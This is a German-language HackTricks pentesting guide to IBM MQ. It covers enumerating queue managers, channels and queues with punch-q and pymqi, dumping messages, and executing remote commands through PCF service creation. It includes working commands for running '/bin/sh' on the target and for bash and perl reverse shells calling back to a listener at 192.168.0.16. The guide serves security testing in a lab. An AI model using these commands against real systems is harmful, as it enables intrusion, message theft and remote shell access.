# 1414 - Pentesting IBM MQ
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Unterstützen Sie HackTricks
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %}
## Grundinformationen
IBM MQ ist eine IBM-Technologie zur Verwaltung von Nachrichtenwarteschlangen. Wie andere **Nachrichtenbroker**-Technologien ist es dafür vorgesehen, Informationen zwischen Produzenten und Verbrauchern zu empfangen, zu speichern, zu verarbeiten und zu klassifizieren.
Standardmäßig **stellt es den IBM MQ TCP-Port 1414 zur Verfügung**. Manchmal kann die HTTP REST API auf Port **9443** verfügbar sein. Metriken (Prometheus) können ebenfalls über den TCP-Port **9157** abgerufen werden.
Der IBM MQ TCP-Port 1414 kann verwendet werden, um Nachrichten, Warteschlangen, Kanäle ... zu manipulieren, **aber auch um die Instanz zu steuern**.
IBM bietet eine umfangreiche technische Dokumentation, die auf [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) verfügbar ist.
## Werkzeuge
Ein empfohlenes Werkzeug für eine einfache Ausnutzung ist **[punch-q](https://github.com/sensepost/punch-q)**, mit Docker-Nutzung. Das Tool verwendet aktiv die Python-Bibliothek `pymqi`.
Für einen manuellen Ansatz verwenden Sie die Python-Bibliothek **[pymqi](https://github.com/dsuch/pymqi)**. [IBM MQ-Abhängigkeiten](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) sind erforderlich.
### Installation von pymqi
**IBM MQ-Abhängigkeiten** müssen installiert und geladen werden:
1. Erstellen Sie ein Konto (IBMid) auf [https://login.ibm.com/](https://login.ibm.com/).
2. Laden Sie die IBM MQ-Bibliotheken von [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) herunter. Für Linux x86_64 ist es **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
3. Dekomprimieren Sie (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
4. Führen Sie `sudo ./mqlicense.sh` aus, um die Lizenzbedingungen zu akzeptieren.
>Wenn Sie unter Kali Linux sind, ändern Sie die Datei `mqlicense.sh`: Entfernen/Kommentieren Sie die folgenden Zeilen (zwischen den Zeilen 105-110):
>
>```bash
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
> then
> echo "ERROR: Dieses Paket ist mit diesem System nicht kompatibel"
> echo " Dieses Paket wurde für ${BUILD_PLATFORM} erstellt"
> exit 1
>fi
>```
5. Installieren Sie diese Pakete:
```bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
6. Fügen Sie dann vorübergehend die `.so`-Dateien zu LD hinzu: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **bevor** Sie andere Tools verwenden, die diese Abhängigkeiten nutzen.
Dann können Sie das Projekt [**pymqi**](https://github.com/dsuch/pymqi) klonen: Es enthält interessante Code-Snippets, Konstanten, ... Oder Sie können die Bibliothek direkt mit: `pip install pymqi` installieren.
### Verwendung von punch-q
#### Mit Docker
Einfach verwenden: `sudo docker run --rm -ti leonjza/punch-q`.
#### Ohne Docker
Klonen Sie das Projekt [**punch-q**](https://github.com/sensepost/punch-q) und folgen Sie dann der README zur Installation (`pip install -r requirements.txt && python3 setup.py install`).
Danach kann es mit dem Befehl `punch-q` verwendet werden.
## Enumeration
Sie können versuchen, den **Queue-Manager-Namen, die Benutzer, die Kanäle und die Warteschlangen** mit **punch-q** oder **pymqi** aufzulisten.
### Queue-Manager
Manchmal gibt es keinen Schutz gegen das Abrufen des Queue-Manager-Namens:
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
```
### Channels
**punch-q** verwendet eine interne (modifizierbare) Wortliste, um vorhandene Kanäle zu finden. Anwendungsbeispiel:
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
```
Es kommt vor, dass einige IBM MQ-Instanzen **unauthentifizierte** MQ-Anfragen akzeptieren, sodass `--username / --password` nicht benötigt wird. Natürlich können auch die Zugriffsrechte variieren.
Sobald wir einen Kanalnamen erhalten (hier: `DEV.ADMIN.SVRCONN`), können wir alle anderen Kanäle auflisten.
Die Auflistung kann grundsätzlich mit diesem Code-Snippet `code/examples/dis_channels.py` aus **pymqi** durchgeführt werden:
```python
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
```
... Aber **punch-q** bettet auch diesen Teil ein (mit mehr Informationen!).
Es kann gestartet werden mit:
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
```
### Queues
Es gibt einen Code-Snippet mit **pymqi** (`dis_queues.py`), aber **punch-q** ermöglicht es, mehr Informationen über die Warteschlangen abzurufen:
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
```
## Exploit
### Nachrichten dumpen
Sie können Warteschlange(n)/Kanal(e) anvisieren, um Nachrichten von ihnen abzuhören / zu dumpen (nicht destruktive Operation). *Beispiele:*
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
```
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
```
**Zögern Sie nicht, alle identifizierten Warteschlangen zu durchlaufen.**
### Codeausführung
> Einige Details, bevor wir fortfahren: IBM MQ kann auf verschiedene Weise gesteuert werden: MQSC, PCF, Control Command. Einige allgemeine Listen finden Sie in der [IBM MQ-Dokumentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) ist das, worauf wir uns konzentrieren, um remote mit der Instanz zu interagieren. **punch-q** und darüber hinaus **pymqi** basieren auf PCF-Interaktionen.
>
> Sie finden eine Liste von PCF-Befehlen:
> * [Aus der PCF-Dokumentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), und
> * [aus Konstanten](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
>
> Ein interessanter Befehl ist `MQCMD_CREATE_SERVICE` und seine Dokumentation ist [hier](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) verfügbar. Er nimmt als Argument einen `StartCommand`, der auf ein lokales Programm auf der Instanz verweist (Beispiel: `/bin/sh`).
>
> Es gibt auch eine Warnung des Befehls in den Dokumenten: *"Achtung: Dieser Befehl erlaubt es einem Benutzer, einen beliebigen Befehl mit mqm-Berechtigungen auszuführen. Wenn die Rechte zur Nutzung dieses Befehls gewährt werden, könnte ein böswilliger oder nachlässiger Benutzer einen Dienst definieren, der Ihre Systeme oder Daten schädigt, zum Beispiel durch das Löschen wesentlicher Dateien."*
>
> *Hinweis: Immer gemäß der IBM MQ-Dokumentation (Administrationsreferenz) gibt es auch einen HTTP-Endpunkt unter `/admin/action/qmgr/{qmgrName}/mqsc`, um den entsprechenden MQSC-Befehl zur Dienstcreation (`DEFINE SERVICE`) auszuführen. Dieser Aspekt ist hier noch nicht behandelt.*
Die Dienstcreation / -löschung mit PCF für die remote Programmausführung kann mit **punch-q** durchgeführt werden:
**Beispiel 1**
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
```
> In den Protokollen von IBM MQ können Sie lesen, dass der Befehl erfolgreich ausgeführt wurde:
>
> ```bash
> 2023-10-10T19:13:01.713Z AMQ5030I: Der Befehl '808544aa7fc94c48' wurde gestartet. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
> ```
Sie können auch vorhandene Programme auf der Maschine auflisten (hier `/bin/doesnotexist` ... existiert nicht):
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
```
**Seien Sie sich bewusst, dass der Programmstart asynchron ist. Daher benötigen Sie ein zweites Element, um den Exploit auszunutzen** ***(Listener für Reverse Shell, Dateierstellung auf einem anderen Dienst, Datenexfiltration über das Netzwerk ...)***
**Beispiel 2**
Für eine einfache Reverse Shell bietet **punch-q** auch zwei Reverse Shell-Payloads an:
* Eine mit bash
* Eine mit perl
*Natürlich können Sie auch eine benutzerdefinierte mit dem `execute`-Befehl erstellen.*
Für bash:
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
Für Perl:
```bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
```
### Custom PCF
Sie können in die IBM MQ-Dokumentation eintauchen und direkt die **pymqi** Python-Bibliothek verwenden, um spezifische PCF-Befehle zu testen, die nicht in **punch-q** implementiert sind.
**Beispiel:**
```python
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
```
Wenn Sie die konstanten Namen nicht finden können, können Sie auf die [IBM MQ-Dokumentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) verweisen.
> *Beispiel für [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Dezimal = 73). Es benötigt den Parameter `MQCA_CLUSTER_NAME` (Dezimal = 2029), der `*` sein kann (Dok: ):*
>
> ```python
> import pymqi
>
> queue_manager = 'MYQUEUEMGR'
> channel = 'DEV.ADMIN.SVRCONN'
> host = '172.17.0.2'
> port = '1414'
> conn_info = '%s(%s)' % (host, port)
> user = 'admin'
> password = 'passw0rd'
>
> qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
> pcf = pymqi.PCFExecute(qmgr)
>
> try:
> args = {2029: "*"}
> response = pcf.MQCMD_REFRESH_CLUSTER(args)
> except pymqi.MQMIError as e:
> print("Error")
> else:
> print(response)
>
> qmgr.disconnect()
> ```
## Testumgebung
Wenn Sie das Verhalten von IBM MQ und Exploits testen möchten, können Sie eine lokale Umgebung basierend auf Docker einrichten:
1. Ein Konto auf ibm.com und cloud.ibm.com haben.
2. Erstellen Sie eine containerisierte IBM MQ mit:
```bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
```
Standardmäßig ist die Authentifizierung aktiviert, der Benutzername ist `admin` und das Passwort ist `passw0rd` (Umgebungsvariable `MQ_ADMIN_PASSWORD`). Hier wurde der Name des Queue-Managers auf `MYQUEUEMGR` (Variable `MQ_QMGR_NAME`) gesetzt.
Sie sollten IBM MQ am Laufen haben, mit seinen exponierten Ports:
```bash
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
```
> Die alte Version der IBM MQ Docker-Images befindet sich unter: https://hub.docker.com/r/ibmcom/mq/.
## References
* [mgeeky's gist - "Praktische IBM MQ Penetration Testing Notizen"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
* [IBM MQ Dokumentation](https://www.ibm.com/docs/en/ibm-mq)